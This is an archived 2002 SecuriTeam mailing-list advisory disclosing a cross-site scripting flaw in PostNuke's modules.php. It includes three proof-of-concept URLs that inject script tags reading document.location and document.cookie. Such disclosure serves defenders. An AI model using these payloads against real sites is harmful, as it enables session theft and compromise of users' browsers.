

[EXPL] Cross-Site Scripting Vulnerability Found in PostNuke

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0071.html>

From: support@securiteam.com

Date: 01/15/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 15 Jan 2002 10:14:48 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

Cross-Site Scripting Vulnerability Found in PostNuke

SUMMARY

<<https://sourceforge.net/projects/post-nuke/>> PostNuke is a PHPNuke fork. A security vulnerability in the product allows posting of HTML code and JavaScript into existing web pages thus causing it to be executed on the client end (a Cross-Site Scripting issue).

DETAILS

Exploits:

[http://www.example.com/modules.php?op=modload&ile=indexdetail&script%3Ealert\(document.location\)%3C/script%3E](http://www.example.com/modules.php?op=modload&ile=indexdetail&script%3Ealert(document.location)%3C/script%3E)

[http://www.example.com/modules.php?op=modload&ile=indexdetail&script%3Ealert\(document.cookie\)%3C/script%3E](http://www.example.com/modules.php?op=modload&ile=indexdetail&script%3Ealert(document.cookie)%3C/script%3E)

[http://www.example.net/modules.php?op=modload&ile=indexdetails&script%3Ealert\(document.location\)%3C/script%3E](http://www.example.net/modules.php?op=modload&ile=indexdetails&script%3Ealert(document.location)%3C/script%3E)

ADDITIONAL INFORMATION

The information has been provided by <<mailto:rolphin@free.fr>> rolphin.

=====

Securiteam: [EXPL] Cross-Site Scripting Vulnerability Found in PostNuke

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] Apache Mis-configuration Can Make You Vulnerable to a Local Denial of Service Attack"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)